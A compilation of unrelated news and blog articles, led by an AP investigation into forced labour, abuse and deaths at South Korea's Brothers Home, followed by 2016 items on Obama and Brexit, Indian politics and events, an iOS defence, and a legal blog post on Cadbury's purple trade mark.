A year later, he was made personal assistant to chief enforcer Kim Kwang-seok, who like other guards at Brothers was an inmate raised to power by the owner because of his loyalty. Many former inmates remember Kim as the facility's most feared man. The AP tried repeatedly to track Kim down but could not find him.

Lee said he was present when Kim, a short, stocky man with sunburned skin, led near-daily, often fatal beatings at the compound's "corrections room." Lee accompanied Kim as he compiled a twice-a-day tally of the sick and dead for the owner; four or five daily deaths were often on the list.

A scene recounted by Lee provides a firsthand account of the efficient, almost casually evil way the facility worked. One morning, Kim approached owner Park In-keun on his daily jog to report that yet another inmate had been beaten to death the night before. The boy heard Park order Kim to bury the body in the hills behind the compound's walls.

___

MONEY FROM SLAVES

The violence at Brothers happened in the shadow of a massive money-making operation partly based on slave labor. The factories were ostensibly meant to train inmates for future jobs. But by the end of 1986, Brothers saw a profit from 11 of them, according to Busan city government documents obtained exclusively by the AP.

The documents show that Brothers should have paid the current equivalent of $1.7 million to more than 1,000 inmates for their dawn-to-dusk work over an unspecified period. However, facility records and interviews with inmates at the time suggest that, instead, most of the nearly 4,000 people at Brothers were subject to forced labor without pay, according to prosecutor Kim.

Another probe at the time, quickly scrapped by the government, showed that "nearly none" of about 100 inmates interviewed received payment. None of 20 former inmates interviewed by the AP received money while at Brothers either, though three got small payments later.

Adults worked on construction jobs, both at Brothers and off-site. Children sometimes hauled dirt and built walls, but mostly they assembled ballpoint pens and fishing hooks.

Some products were tied to other countries. For example, dress shirts made at Brothers' sewing factory were sent to Europe, and inmates were trained by employees at Daewoo, a major clothing exporter during the 1980s to the United States and other markets, according to the owner's autobiography. Park, the owner, said officials from Daewoo had toured the facility before offering a partnership. Daewoo International spokesman Kim Jin-ho said it was impossible to confirm such details because of a lack of records from the time.

Inmates during the 1970s recounted spending long hours tying fishing lines to hooks for packages with Japanese writing on them, for export to Japan.

Kim Hee-gon, an inmate at Brothers for eight years, said he and his colleagues were beaten severely in the early 1970s after thousands of such packages shipped to Japan were returned because they were faulty or missing hooks. Park Gyeong-bo, who was confined at Brothers from 1975 to 1980, remembered sneaker bottoms produced with the logo of Kukje Sangsa, a now-defunct company that manufactured shoes for the United States and Europe in the 1970s and 80s.

The operation thrived because everybody benefited, except the inmates.

Local officials needed somewhere to put the vagrants they were charged with corralling, so each year they renewed a contract with Brothers that required an inspection of how the inmates were treated and of how the facility was financially managed. Brothers got government subsidies based on its number of inmates, so it pushed police to round up more vagrants, the early probe found. And police officers were often promoted depending on how many vagrants they picked up.

Two Busan city officials would say only that the facts are difficult to confirm now because the facility closed three decades ago. Heo Gwi-yong, a spokesman for the Busan Metropolitan Police Agency, said he couldn't confirm any details for the same reason.

The owner of Brothers, Park, received two state medals for social welfare achievements and sat on a government advisory panel. His version of his story even inspired a 1985 television drama about a man's heroic devotion to caring for what were called "bottom-life people."

Park eventually served a short prison stint for embezzlement and other relatively minor charges, but not for the abuse at Brothers. When the facility was at last raided in 1987, investigators found a vault in Park's office filled with the current equivalent of about $5 million in U.S. and Japanese currencies and certificates of deposit.

In his autobiography, in court hearings and in talks with close associates, Park has denied wrongdoing and maintained that he simply followed government orders. Repeated attempts to contact him through family, friends and activists were unsuccessful.

The AP, however, tracked down the former second-highest management official at Brothers, Lim Young-soon, who bristled in a telephone interview at descriptions of corruption, violence and slavery at the facility. Lim, a Protestant pastor now in Australia who is the brother of Park's wife, said Park was a "devoted" social worker who made Busan better by cleaning its streets of troublemakers. He said Brothers' closure "damaged national interests."

Lim acknowledged beating deaths at Brothers, but said they were caused by clashes between inmates. He attributed the facility's high death toll to the many inmates he said arrived there in poor physical and mental health.

"These were people who would have died in the streets anyway," Lim said.

___

"I DIDN'T LIVE AS A HUMAN"

While Park raked in the money, the death toll mounted and the inmates struggled to survive.

On his second day at Brothers, still dazed from his brutal rape the night before, Choi waited with other children to be stripped and washed. He said he watched a guard drag a woman by her hair and then beat her with a club until blood flowed from her head.

"I just stood there, trembling like a leaf," Choi, 46, said. "I couldn't even scream when the platoon leader later raped me again."

Another time, Choi recalled, he saw seven guards knock down a screaming man, cover him with a blue blanket and stomp and beat him. Blood seeped through the blanket. When it fell away, the dead man's eyes had rolled back into his head.

Death tallies compiled by the facility claimed 513 people died between 1975 and 1986; the real toll was almost certainly higher. Prosecutor Kim interviewed multiple inmates who said facility officials refused to send people to hospitals until they were nearly dead for fear of escape.

"The facility was Park's kingdom, and violence was how he ruled," Kim said of the owner. "When you are confined to a place where people are getting beaten to death every day, you aren't likely to complain too much about forced labor, abuse or getting raped."

Most of the new arrivals at Brothers were in relatively good health, government documents show. Yet at least 15 inmates were dead within just a month of arrival in 1985, and 22 in 1986.

Of the more than 180 documented deaths at Brothers in 1985 and 1986, 55 of the death certificates were issued by a single doctor, Chung Myung-kuk, according to internal facility documents, interviews and records compiled by Kim. Chung, now dead, mostly listed the cause of death as "heart failure" and "general weakness."

Life at Brothers began before dawn, as inmates washed and got ready for mandatory 5:30 a.m. prayers, transmitted by loudspeaker from the facility's Presbyterian church. After a morning run, they ate breakfast and then headed to factories or construction sites.

When city officials, foreign missionaries or aid workers visited, a select group of healthy inmates worked for hours to prepare a sanitized version of Brothers for the guests. Guards locked everyone else in their dormitories. Choi said inmates watched hopelessly as these clueless do-gooders trooped through.

"We were trapped in a prison. But who could help us? No one," Choi said.

Once the doors were locked at 6 p.m., Choi said, the guards unleashed "uncontrolled violence" upon the 60 to 100 kids in his dormitory, including frequent rapes.

A principal at a Busan school who once taught at Brothers acknowledged that inmates were held against their will, and even called the facility a massive concentration camp. However, the principal, who spoke on condition of anonymity because he was worried about his reputation, staunchly defended its practices. He said severe violence and military-style discipline were the only ways to run a place filled with thousands of unruly people who didn't want to be there.

Park Sun-yi, who had been snatched by police at age 9 from a Busan train station in 1980, was one of the few to escape.

She had watched as the guards reserved their most ruthless beatings, the kind where inmates sometimes didn't recover, for those who tried to run. But after five years, she said, she became "consumed with the thought that my life might be like this forever and that I might die here."

She and five other girls used a broken saw from the ironwork factory to file away bars on a second-floor window at night, little by little, reattaching them with gum each morning. At last, they squeezed themselves out, scaled a wall embedded with broken glass and fled into the hills.

When she finally walked through the door of her family home in Munsan, she said, her father fainted.

___

"JUST WAITING TO DIE"

The unraveling of Brothers began by accident.

While pheasant hunting, Kim, then a newly appointed prosecutor in the city of Ulsan, heard from his guide about men with wooden bats and large dogs guarding bedraggled prisoners on a nearby mountain. When they drove there, the men said they were building a ranch for the owner of the Brothers Home in nearby Busan. Kim knew immediately, he said, that he'd stumbled onto "a very serious crime."

On a frigid January evening in 1987, Kim led 10 policemen in a surprise raid past the facility's high walls, imposing steel gates and gape-mouthed guards. Inside, he found battered and malnourished inmates locked in overcrowded dormitories. The inmates gave the unexpected visitors crisp, military-style salutes.

"I remember thinking, 'This isn't a welfare facility; it's a concentration camp,'" Kim, now 61 and a managing partner at a Seoul law firm, said. People lay coughing and moaning in a squalid sick ward, "just waiting to die."

After the owner was arrested, he demanded a meeting with Kim's boss, the chief Busan prosecutor, who then supervised Ulsan. A day later, Busan Mayor Kim Joo-ho, who died in 2014, called Kim to plead for Park's release. Kim said he politely declined and hung up.

At every turn, Kim said, high-ranking officials blocked his investigation, in part out of fear of an embarrassing international incident on the eve of the Olympics. President Chun Doo-hwan, who took power in a coup after Park Chung-hee was assassinated, didn't need another scandal as he tried to fend off huge pro-democracy protests.

Internal prosecution records reveal several instances where Kim noted intense pressure from Chun's office to curb his probe and push for lighter punishment for the owner. Kim had to reassure presidential officials directly and regularly that his investigation wouldn't expand.

Park Hee-tae, then Busan's head prosecutor and later the nation's justice minister, relentlessly pushed to reduce the scope of the investigation, Kim said, including forcing him to stop his efforts to interview every inmate at Brothers. Park, a senior adviser to the current ruling party, has repeatedly denied AP interview requests. His personal secretary said Park can't remember details about the investigation.

Despite interference, Kim eventually collected bank records and financial transactions indicating that, in 1985 and 1986 alone, the owner of Brothers embezzled what would be the current equivalent of more than $3 million. That came from about $10 million of government subsidies meant to feed and clothe the inmates and maintain the facilities. However, Kim said, the chief Busan prosecutor forced Kim to list the embezzlement as nearly half the amount he had actually found so that a life sentence couldn't be pursued under the law at the time.

Kim said his bosses also prevented him from charging the owner, Park, or anyone else for the suspected widespread abuse at the Brothers compound, and limited the prosecutor to pursuing much narrower abuse linked to the construction site Kim found while hunting.

Kim demanded a 15-year prison term for Park. After a lengthy battle, the Supreme Court in 1989 gave Park 2 years in prison for embezzlement and violations of construction, grassland management and foreign currency laws. He was acquitted of charges linked to off-site abuse. Only two guards received prison terms, one for 1 years and another for eight months.

After prison, Park continued to earn money from welfare facilities and land sales. The Brothers site was purchased in 2001 by a construction company for what would now be about $27 million, according to a copy of the land sale shown to the AP. One of Park's daughters operated a school for troubled kids that closed in 2013. His family in 2014 sold a home for the severely disabled.

___

UNFORGETTABLE PAIN

The legacy of Brothers lingers.

It finally closed its gates in 1988. In the 1990s, construction laborers dug up about 100 human bones on the patch of mountain just outside where it stood, according to one of the workers who found the bones, Lee Jin-seob. Blankets covering the bones and the lack of burial mounds made Lee think they'd been buried informally and quickly. It's unclear what happened to the remains.

On a recent trip to the site, which is now covered with tall apartment buildings, ex-inmates Choi and Lee Chae-sik stood on a concrete-covered former water reservoir that they think is the only remaining physical trace of Brothers. Both recalled the sight of guards carrying corpses into the woods.

"There could be hundreds of bodies still out there," Lee said, pointing toward the steep slopes.

Inmates released from the facility ended up homeless and in shelters and mental institutions; many struggle with alcoholism, depression, rage, shame and poverty. Choi, whose back is covered by a large tattoo from his time in a gang after he left Brothers, was imprisoned for assaulting a policeman.

The few former inmates who have begun speaking out want justice: an apology and an admission that officials encouraged police to kidnap and lock away people who shouldn't have been confined.

"How can we ever forget the pain from the beatings, the dead bodies, the backbreaking labor, the fear ... all the bad memories," Lee, who now manages a lakeside motel, said. "It will haunt us until we die

--- ENDS ---
"The European Union doesn't moderate British influence - it magnifies it," he wrote in an article placed on page 20 of the eurosceptic Daily Telegraph newspaper under the headline "As your friend, I tell you that the EU makes Britain even greater."

By Reuters: US President Barack Obama made an impassioned appeal on Friday for Britain to remain in the European Union, saying membership had magnified Britain's place in the world and made the bloc stronger and more outward looking.

Fearful that a British exit could weaken the West, Obama arrived in London to applaud Britain's EU membership which he said had helped make the world freer, richer and better able to tackle everything from Russian aggression to terrorism.

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Praising Britain's "outsized" influence in the world, Obama invoked the interlinked history of the two countries and the tens of thousands of Americans lying in European war graves as his reason for speaking as "a friend" on the June 23 referendum.

"The European Union doesn't moderate British influence - it magnifies it," he wrote in an article placed on page 20 of the eurosceptic Daily Telegraph newspaper under the headline "As your friend, I tell you that the EU makes Britain even greater."

"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic".

Obama is due to meet US embassy personnel and families before a lunch at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip.

Obama is scheduled to hold talks afterward with Prime Minister David Cameron, followed by a news conference.

Campaigners for Britain's EU membership, including Cameron, who is leading the "In" campaign, will welcome Obama's intervention, which led news broadcasts on British television.

But the president's comments drew scorn from opponents of Britain's EU membership.

New York-born London Mayor Boris Johnson, who heads the "Out" campaign, said that he did not want to be lectured by Americans about EU membership and that the United States would never countenance such a transfer of sovereignty.

"For the United States to tell us in the UK that we must surrender control of so much of our democracy -- it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do," Johnson wrote in the Sun newspaper.

"It is incoherent. It is inconsistent, and yes it is downright hypocritical," Johnson said.

Opinion polls indicate that British voters are leaning towards the "In" camp but many remain undecided. "In" campaigners are concerned that young voters may not turn out to vote.

"STICK TOGETHER"

The US government, and many US banks and companies, fear a Brexit would cause market turmoil, diminish the clout of its strongest European ally, hurt London's global financial hub status, cripple the EU and weaken Western security.

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"Now is a time for friends and allies to stick together," Obama said. "Together, the United States, the United Kingdom, and the European Union have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place."

Cameron has said that this is no time for Britain to drop out of the club it joined in 1973, especially in the face of what he terms Russian President Vladimir Putin's aggression.

Asked about Obama's views, Cameron previously told the parliament, "Personally I believe we should listen to advice from friends and other countries and I struggle to find the leader of any friendly country who thinks we should leave."

Ahead of a 2014 Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united", a comment that was welcomed by unionist politicians in London.

For Britain's closest ally, EU membership amplifies British influence, facilitates trade for US companies and strengthens the 28-member bloc that Washington views as a pillar of stability in the post-World War Two era.

Opponents of the EU, many of whom laud the U.S. alliance, have said that membership has shackled Britain to the corpse of a failed German-dominated experiment in European integration, and that Britain, if freed, could prosper as a sole trader.

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Nigel Farage, a prominent opponent of membership as leader of Britain's UK Independence Party, called Obama the most anti-British American president to date.

"This is an unwelcome interference ... Mercifully, he won't be in office for much longer."



--- ENDS ---
The saffron party's pet themes like cow protection and a law to stop forced religious conversions also featured in the manifesto.

By India Today Web Desk: With less than a month left for Tamil Nadu Assembly polls, the BJP has promised return of bull-taming sport Jallikattu if the party comes to power.

Releasing its election manifesto labelled as "Vision Document" on Thursday, Union Minister Nitin Gadkari also assured a full waiver of farmers' loans taken through co-operative banks and a separate budget for agriculture and Lokayukta to end graft in the state.

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Other promises included ban on alcohol in the state and freebies like eight gram gold to eligible women in Below Poverty Line category for marriage. The saffron party's pet themes like cow protection and a law to stop forced religious conversions also featured in the manifesto.

The party also promised quality education on par with CBSE standards in government-run schools and linking of all intra-state rivers.

Tamil Nadu will vote on May 16.

Also read: Why Jayalalithaa is the Chennai Super Queen



--- ENDS ---
"This is a moment in history. Today you are signing a new covenant with the future. We are in a race against time," UN Secretary-General Ban Ki-moon said.

United Nations Secretary-General Ban Ki-moon delivers his opening remarks at the Paris Agreement signing ceremony on climate change at the United Nations Headquarters. (Reuters photo)

By India Today Web Desk: India today signed the landmark Paris climate accord along with heads of state and high level diplomats from more than 170 countries, making a significant step that has brought nations together for beginning work on cutting down greenhouse gas emissions to combat global warming.

Environment Minister Prakash Javadekar signed the agreement in the United Nations General Assembly hall at a high-level ceremony hosted by UN Secretary-General Ban Ki-moon. The ceremony was attended by heads of government, ministers, corporate leaders and artists from several countries.

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"This is a moment in history. Today you are signing a new covenant with the future. We are in a race against time," Ban Ki-moon said.

The opening ceremony included music from students of New York's Julliard School and a short video bringing the "gavel moment" from Paris to the signature ceremony.

At over 170 countries, the signing ceremony for the climate accord set the record for the most countries to sign an international agreement on one day, previously set in 1982, when 119 countries signed the Law of the Sea Convention.

The signing is the first step toward ensuring that the agreement comes into force as soon as possible. After signing, countries must take the further national (or domestic) step of accepting or ratifying the agreement.

The agreement can enter into force 30 days after at least 55 Parties to the United Nations Framework Convention on Climate Change (UNFCCC), accounting for at least 55 per cent of global emissions, ratify the agreement.

India has maintained that the burden of fighting climate change cannot be put on the shoulders of the poor after decades of industrial development by the rich nations.

It has announced plans to quadruple its renewable power capacity to 175 gigawatts by 2022 as part of the government's plan to supply electricity to every household.

India seeks to add 100 gigawatts of photovoltaic capacity, 60 gigawatts of wind power, 10 gigawatts of biomass and five gigawatts of hydro projects.

Finance Minister Arun Jaitley, in an address to a Delhi-based think tank earlier this week, had said that notwithstanding its development need, India is completely committed to protecting the climate.

"The level of development we have reached is far, still the hard reality is we have a lot of distance to cover. We need more housing, power, toilets, roads and factories. Therefore our requirements of fuel is certainly going to increase. Notwithstanding that our own standards of protecting the environment are very rigid," Jaitley had said.

"There is a method in each one of the steps we are taking, like taxing oil, cess on coal and emphasis on alternative renewable energy. We are conscious of our responsibilities," he had said.

Friday was chosen for the signing ceremony because it is Earth Day.

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ALSO READ

Historic turning point: Climate deal unveiled in Paris



With landmark climate accord, world marks turn from fossil fuels

Climate change deal has no winners or losers, says PM Modi

--- ENDS ---
By Hemul Goel: We all know that when it comes to fashion, Tisca Chopra is a complete chameleon. And she's not just intense on the screen, her off-screen choices are bound to make you a fangirl.

The last we saw of her, she was taking in Swara Bhaskar's latest outing at the box-office, Nil Battey Sannata, at a special screening. For the screening, Tisca decided to turn up in a quirky printed dress by Aartivijay Gupta that had broccoli and cabbage prints. Yes, you read that right. Talk about giving people fitness, food and fashion goals with just one attire.

Picture courtesy: Twitter/@Shreeja_R

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And if you need further proof of Tisca's awesomeness, here's a selection of some of her previous appearances.

After seeing the actress in heavy-duty Sabyasachi attires, seeing a relatively simple one on Tisca made for a great change of pace. We had forgotten that the designer did simpler work too!

Picture courtesy: Twitter/@Shreeja_R

The actress wore a grey frayed-hem Urvashi Kaur dress paired with a shirt from Archana Rao, making the rather casual dress look fun and formal.

Picture courtesy: Twitter/@Shreeja_R

And how can we forget the time she shared the red carpet with Sonam Kapoor, Katrina Kaif and Aishwarya Rai Bachchan and still slayed.

Also read: Katrina, Aishwarya and Sonam walked the same red carpet and it was better than your imagination

Wearing her Anavila saree with a back blouse, her look was finished with centre-parted hair, a Suhani Pittie necklace, and a silver clutch from Amrapali. We couldn't have asked for a more perfect combination!

Picture courtesy: Twitter/@Shreeja_R

Experimenting with tuxedos, the actress wore an Urvashi Joneja pantsuit finished with statement shoes from Sophia Webster. Gorgeous, right?

Picture courtesy: Twitter/@Shreeja_R

--- ENDS ---
Unplanned housing in the hills have made it one of the most landslide prone areas.

Two JCBs have been pressed into service to clear the debris. (photo: Manoj Kumar Dutta)

By Manogya Loiwal : Torrential rains triggered a massive landslide which took away lives of at least 16 people in a labour camp in Tawang district of Arunachal Pradesh today.

Unplanned housing in the hills have made it one of the most landslide prone areas. The jolts of the landslide were experienced by people far away from the grief stricken spot.

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The incident took place today morning when 19 labourers were engaged in construction work inside the camp near a 5 star hotel at Phamla village, 6 km away from Tawang town.

So far 16 bodies have been extricated from the wreckage. The incessant rains had only stimulated this landslide in the various pockets of the border district.

Among the injured people, one severely injured has been shifted to Tezpur while the other two injured have been taken to a local hospital for treatment.

A joint operation was executed by the army, civil administration, police and the villagers to help with the rescue work. All the bodies were carried out from the debris.

For a long time span, local authorities were carrying out relief operations and more army commanders have been stationed there in case of any emergency.

Meanwhile two JCBs have been pressed into service to clear the debris.

This landslide has led to massive disruption in surface transport in Tawang. Arunachal Pradesh has witnessed few landslides and several other natural disasters in the past too.

Prime Minister Narendra Modi has expressed his condolences to the bereaved families who lost their near ones in the disaster.

West Bengal Chief Minister Mamata Banerjee too took to Twitter to express her condolences for the families of the victims.

Chief Minister of Arunachal Pradesh Kalikho Pul said, "We are standing by those affected in this hour of grief... The families of the dead will be given a compensation of Rs 3 lakh each and those injured will be given Rs 50000 per person. We have also ordered a probe into the matter."

--- ENDS ---
Trupti said that she prayed that women be allowed to enter temples across the country.

Trupti Desai, who began the campaign for women's entry to all places of worship in January, vowed to take the fight to the national level.

By India Today Web Desk: A day after a group of women activists entered the sanctum sanctorum of the Trimbakeshwar temple in Nashik, activist Trupti Desai today offered prayers at the temple after being briefly stopped at the gate.

WATCH: Activist Trupti Desai offered prayers at inner sanctum of Trimbakeshwar temple in Maharashtra todayhttps://t.co/OZ1YMzCfo1 ANI (@ANI_news) April 22, 2016

Addressing the mediapersons thereafter, Trupti said that she prayed that women be allowed to enter temples across the country. She also said that she is likely to meet Prime Minister Narendra Modi next month over the issue.

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"I hope women are allowed respectfully inside temples across the nation. We will meet PM Modi next month," she said.

Desai, who began the campaign for women's entry to all places of worship in January, vowed to take the fight to the national level.

Breaking the 300-year-old tradition, a group of women activists from the Swarajya Sanghatana on Thursday entered the sanctum sanctorum of the Trimbakeshwar temple and offered prayers amidst tight security. Agitated locals called for a shut down in the town to express their disapproval over the incident.

Earlier, few activists were allegedly manhandled by a group of locals while they were trying to enter the temple. Following the incident, police booked 200 persons, including former president of Trimbakeshwar Municipal Council Anagha Phadke.

--- ENDS ---
The Enforcement Directorate is also probing reports about Vijay Mallya owning three apartments in New York's iconic Trump Plaza.

By India Today Web Desk: The government today said that it is committed to bring back former boss of now grounded Kingfisher Airlines Vijay Mallya who owes nearly Rs 9000 crore to Indian banks. Mallya has reportedly been living in London since March.

"The government is committed to bring him (Vijay Mallya) back to face justice, currently we are in the process of consulting various agencies," Ministry of External Affairs spokesperson Vikas Swarup told reporters when asked about the Enforcement Directorate seeking the foreign ministry's help for the business tycoon's deportation.

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The government's statement comes a day after the ED wrote to the foreign ministry seeking assistance in bringing back Mallya to India through diplomatic channels to try him in a money laundering case.

Sources with the agency, which had last week asked for the suspension of Mallya's diplomatic passport, said the ED is seeking Mallya's deportation after he skipped three summons in a money laundering case.

The Enforcement Directorate is also probing reports about Mallya owning three apartments in New York's iconic Trump Plaza. The Rajya Sabha MP had failed to disclose in successive annual affidavits about these flats.

High-level sources in the Enforcement Directorate (ED) confirmed to India Today that the agency is scrutinising these New York City apartments, which Mallya withheld from Parliament.

The hard-partying businessman, who flew to London last month amid a raging battle with creditors, told the Supreme Court on Thursday that banks have no right to details of the properties he owns overseas.

ALSO READ

Mallya takes Rs 1.7-cr pay package from US brewery firm

Broke Vijay Mallya owns 3 condos in New York's Trump tower

--- ENDS ---
There were reports that Karan Patel aka Raman Bhall left the Yeh Hai Mohabbatein shoot midway due to excessive heat. Here's the real reason why he walked off the sets.

By India Today Web Desk: Karan Patel who plays the role of Raman Bhalla in Yeh Hai Mohabbatein recently left his shoot midway saying he couldn't bear the heat. The actor shot for a couple of close-up shots and left in a huff. The actor was shooting inside a dummy plane and apparently he was unable to proceed with his scenes, due to excessive heat. While it might appear a case of starry tantrums, it turned out that Patel was unwell and his health condition deteriorated after shooting in heat.

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"Karan was unwell and was not able to breathe properly inside the dummy plane. Since, it was too hot inside the plane he kept coming out. However, when he couldn't bear it anymore, he decided to leave with wife Ankita Bhargava. She came on the sets to take her unwell husband home," a source close to the show told TOI.

Also read: Yeh Hai Mohabbatein spoiler: Raman and Ishita to reunite in the most dramatic way



The actor confirmed that he left the shooting midway because of his health problem. "Yes, I left the sets because I was keeping unwell. I went to get a check-up done from the doctor. Post that I did come back to shoot again."

Also read: Next change: Divyanka Tripathi's modern avatar in Yeh Hai Mohabbatein



Apart from Karan Patel, Yeh Hai Mohabbatein stars Divyanka Tripathi, Anita Hassanandani, Aditi Bhatia and Pavitra Punia in important roles.

--- ENDS ---
Varun Krishnan, Editor-in-Chief of fonearena.com explains why he believes that iOS is still gold standard. Here is what he writes.

By Agencies: A few days ago, we wrote how the iOS , which powers iPhone and the iPad, sucks compared to Android. A lot of our readers agreed. But many, including Varun Krishnan, who is the Editor-in-chief of fonearena.com, also disagreed. Now, Varun has explained why he believes that iOS is still gold standard. Here is what he writes.

---

First up there is no reality distortion field. I buy an iPhone because I want one. No one is forcing me to. I am fully aware it is missing some features which Android offers like great integration with Google services.

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But I beg to differ about your view that iOS sucks. Just because you prefer to use Android and its features does not mean iOS sucks. What sucks for you might be actually working for millions of users worldwide. Every OS is not perfect due to various limitations including hardware, policies etc. And iOS is no exception.

Just for the background, I have owned and used every iPhone and most Apple products since launch and the same applies for Android devices. I lined up to get my T-Mobile G1 in Chicago in 2008 and I'm a huge fan of Nexus devices and also Samsung Galaxy devices.

I use my phones to get work done, not take sides.

Also Read: Apple's iOS sucks and finally iPhone fans are talking about it

Here are few reasons that iOS does not suck:

Prompt updates and instant rollout

You can count how many Android phone models will get updated to Android N the day it becomes official next month. But on iOS, when there is a major software update, it rolls out to at least 3-year-old products, which translates to millions of iPhones.

And the roll out happens worldwide with no control from operators or geographies. Sadly on Android, apart from Nexus devices, most devices rarely get the update soon, and by the time the phone gets the update, the person has moved to another device.

Also Read: Your iPhone will expire in three years, says Apple

Backups

There is no easy way to back up my Android phone but once I have iCloud backups setup on my iOS device, taking backups is so easy and in case something goes wrong and you lose your phone or if you are moving to a newer iPhone, restoring the backup and getting the phone setup as it was before works wonderfully. Even the apps, photos on your camera roll get restored. I have been doing this since 2013 and moved to 4 different phones with very little pain. It is impossible to get this experience on Android without using a 3rd party app like Helium, which does not work reliably for me.

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iTunes is not needed

In the past you required iTunes to setup your iOS device, not anymore. You can get most things done without connecting your device to a PC or Mac. For instance, I was able to get 10 albums on my iPhone through Apple Music for my next trip without having to get to a PC.

Also Read: Apple Music vs others: It's advantage Apple

Privacy & less malware

Everyone knows the ongoing battle between FBI and Apple in the unlocking of an iPhone. Apple CEO Tim Cook even wrote an open letter to customers about the demands from government agencies to give reasonable access to user information but Apple decides to put privacy of users first. This is a bold message. The company has also triggered a large scale debate worldwide about data privacy and encryption. No OS is safe from hackers these days but iOS has a much less chance of a malware problem compared to Android.

Most exclusive apps launch first on iOS

Many app publishers prefer to launch only on iOS as they see better traction on the platform. Instagram was iOS only for a long time, Instagram Hyperlapse is still iOS only. The Microsoft Suite on iOS is so awesome and ironically even better than the windows experience.

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At the same time, I agree that iOS is not for everyone. Particularly it is not for certain users.

Those who like free stuff

If you don't want to pay for content or apps and you think you can get most of it for free from the interwebs, iOS is not for you as most content is paid but most apps are still free. There are ways to move your legally purchased content to iOS devices but a little harder to deal with pirated content.

Modders

If you want to customise your phone and break away from the regular look and feel and also add some custom features, sorry iOS is not for you. You are better off using something like Cyanogen Mod not even stock Android.

Google services

If you swear by Google services such as Gmail, Google maps etc, you would obviously get the best experience on Android. But Google does constantly release and update most of their apps on iOS.

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Those who hate the Apple ecosystem

I juggle between Windows PCs, Android phones, iOS devices and Macs and every platform has its advantages and disadvantages. But if for some reason, you hate the Apple ecosystem and don't like how it works, iOS is surely not going to impress you much.

Those who like fancy new hardware every few months

New phones running iOS don't hit the market every other month unlike devices on other platforms.

--- ENDS ---
Cadbury is on a seemingly perennial mission both to secure new as well as to protect existing trade mark rights in their signature purple colour for use on their chocolate products, most famously, their Dairy Milk bars. Following an opposition filed by Nestle to the registration of one of Cadburys purple marks in Societe Des Produits Nestle S.A v Cadbury UK Ltd [2013] EWCA Civ 1174 , Cadbury adopted a proactive defensive strategy with the aim of preventing revocation of another existing registration for the same purple mark.





In the aforementioned opposition action (discussed on IPKat here ) the Court of Appeal had to consider whether the mark in question had been validly registered. The mark was described as -

"The colour purple (Pantone 2685C), as shown on the form of application, applied to the whole visible surface, or being the predominant colour applied to the whole visible surface, of the packaging of the goods."





Sir John Mummery held that





[55] the description of the mark as including not just the colour purple as a sign, but other signs, in which the colour purple predominates over other colours and other matter, means that the mark described is not a sign. There is wrapped up in the verbal description of the mark an unknown number of signs. the description of the mark as including not just the colour purple as a sign, but other signs, in which the colour purple predominates over other colours and other matter, means that the mark described is not a sign. There is wrapped up in the verbal description of the mark an unknown number of signs.





[55] because the unknown number of signs means that the representation is not of a sign. The mark was also found to fail the graphic representation requirementbecause the unknown number of signs means that the representation is not of a sign.





The aim of the action was to eliminate the potentially invalid description for mark 2020876A (876). The 876 mark appears on the register as follows: Fearing that this reasoning might be applied to similar registrations, Cadbury initiated an action before the Registry, the decision of which was appealed and decided before the High Court in Cadbury UK Ltd v The Comptroller General of Patents Designs and Trade Marks [2016] EWHC 79 (Ch)









together with the following description:





The mark consists of the colour purple as shown on the form of application, applied to the whole visible surface, or being the predominant colour applied to the whole visible surface, of the packaging of the goods.

. The mark consists of the colour purple (Pantone 2685C) as shown on the form of application, applied to the whole visible surface, or being the predominant colour applied to the whole visible surface, of the packaging of the goods

The problem for Cadbury was that, under s. 44 UK Trade Marks Act 1994 (TMA), alteration of an existing mark is not allowed -





44.  (1) A registered trade mark shall not be altered in the register, during the period of registration or on renewal.





To overcome this seemingly fatal hurdle, Cadbury argued that the registration in question was in fact a series of marks in accordance with s.41 of the UK Trade Marks Act 1994 





41. - (1) Provision may be made by rules as to -

(a) the division of an application for the registration of a trade mark into several applications;

(b) the merging of separate applications or registrations;

(c) the registration of a series of trade marks.





(2) A series of trade marks means a number of trade marks which resemble each other as to their material particulars and differ only as to matters of a non-distinctive character not substantially affecting the identity of the trade mark.





Cadbury then sought to forestall a revocation action to the registration by seeking to eliminate the potentially vulnerable description pursuant to rule 28(5) of the Trade Mark Rules 2008, which provides as follows:





deletion of a mark in that series and, following such request, the registrar shall delete the mark accordingly. 28 (5) At any time the applicant for registration of a series of trade marks or the proprietor of a registered series of trade marks may request theand, following such request, the registrar shall delete the mark accordingly.





Cadbury argued that there are two marks in the alleged series; one which describes purple as applied to the whole visible surface and a second in which purple is the predominant colour applied to the whole visible surface. Cadbury sought to delete the second mark in the series.





The Hearing Officer refused Cadburys request for three reasons. First, Cadbury did not apply for a series mark at the time of registration, so the mark could not now be treated as such. Second, there was no mark to be deleted because the words in the registration did not describe a mark (similar to the reasoning in the opposition discussed above). Third, any deletion amounted to alteration by another name. As noted, such an alteration is not allowed under s.44 UK TMA.





Baldwin QC, sitting as a Deputy Judge of the Chancery Division in the High Court, dismissed Cadburys appeal. Agreeing with the Hearing Officer, he held that 





the 876 mark is not a series mark, the description is not of two marks or of a series of marks, there are no identifiable members of any series which might be the subject of a request for deletion, accordingly any request for such a deletion cannot be entertained and the appeal must be dismissed.

Cadbury and Nestle fighting for their IP rights




The Austrian Supreme Court had in fact asked the CJEU to say whether

a claim for missed payment of fair compensation under Article

5(2)(b) of the

InfoSoc Directive

can be considered akin to 'tort, delict or quasi-delict' within what is currently

Article 7(2) of Brussels I Recast

[formerly Article 5(3) of Brussels I]

for the sake of determining the court(s) competent to hear such action.

Besides the general rule (Article 4) that allows one to sue in the Member State where the defendant is domiciled/established, as a special rule Article 7(2) of Brussels I Recast also allows actions relating t

o tort, delict or quasi-delict, to be brought in the courts "for the place where the harmful event occurred or may occur".




Merpel reminds Kat readers: this is the Kats term and not that of Kedrosky

